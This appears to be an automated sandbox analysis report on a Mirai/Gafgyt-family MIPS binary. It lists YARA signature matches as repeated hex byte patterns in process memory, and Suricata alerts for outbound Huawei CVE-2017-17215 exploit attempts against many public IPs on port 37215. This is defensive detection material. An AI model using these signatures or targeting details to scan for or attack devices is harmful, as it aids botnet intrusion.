5436.1.00007f79e8400000.00007f79e8417000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x154e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x154f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15508:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1551c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15530:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15544:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15558:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1556c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15580:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15594:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x155f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1560c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15620:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15634:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15648:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1565c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15670:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.mips.elf PID: 5436	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.mips.elf PID: 5436	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x6f3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f4e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f62:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f76:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f8a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f9e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6fb2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6fc6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6fda:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6fee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7002:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7016:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x702a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x703e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7052:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7066:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x707a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x708e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.mips.elf PID: 5440	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.mips.elf PID: 5440	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x33e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x340f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3423:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3437:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x344b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x345f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3473:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3487:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x349b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x34ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3513:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3527:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x353b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x354f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3563:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3577:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.mips.elf PID: 5444	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.mips.elf PID: 5444	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xc77:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc8b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc9f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcdb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd03:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd17:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd2b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd53:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd67:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd7b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd8f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xda3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdb7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdcb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xddf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdf3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.mips.elf PID: 5452	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.mips.elf PID: 5452	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3b6d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b81:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b95:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ba9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bbd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bd1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3be5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bf9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c0d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c21:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c35:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c49:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c5d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c71:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c85:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3c99:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cc1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cd5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ce9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3cfd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.mips.elf PID: 5453	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.mips.elf PID: 5453	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x6dfc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6eb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ec4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ed8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6eec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6f8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.mips.elf PID: 5458	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.mips.elf PID: 5458	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2d78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2d8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2da0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2db4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2dc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ddc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2df0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2e90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ea4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2eb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ecc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ee0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ef4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2f08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.mips.elf PID: 5460	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.mips.elf PID: 5460	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x555:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x569:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x57d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x591:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5a5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5b9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5cd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x609:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x61d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x631:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x645:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x659:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x66d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x681:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x695:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6a9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6bd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 30 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:52:39.031085+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33180	197.232.133.202	37215	TCP
2024-10-29T20:52:39.199531+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42808	197.243.51.19	37215	TCP
2024-10-29T20:52:40.233282+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49382	197.231.175.200	37215	TCP
2024-10-29T20:52:46.519465+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42884	197.247.176.62	37215	TCP
2024-10-29T20:52:46.573806+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33648	197.212.208.236	37215	TCP
2024-10-29T20:52:46.575237+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51354	197.137.202.39	37215	TCP
2024-10-29T20:52:46.576062+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46116	197.62.222.62	37215	TCP
2024-10-29T20:52:46.577614+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34384	197.64.21.215	37215	TCP
2024-10-29T20:52:46.579171+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47914	197.139.43.111	37215	TCP
2024-10-29T20:52:46.590101+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58102	197.95.90.227	37215	TCP
2024-10-29T20:52:46.592693+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40180	197.176.33.243	37215	TCP
2024-10-29T20:52:46.609862+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48404	197.103.124.224	37215	TCP
2024-10-29T20:52:46.691887+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36660	197.125.60.143	37215	TCP
2024-10-29T20:52:46.692687+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37040	197.58.85.58	37215	TCP
2024-10-29T20:52:46.693402+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57180	197.20.183.134	37215	TCP
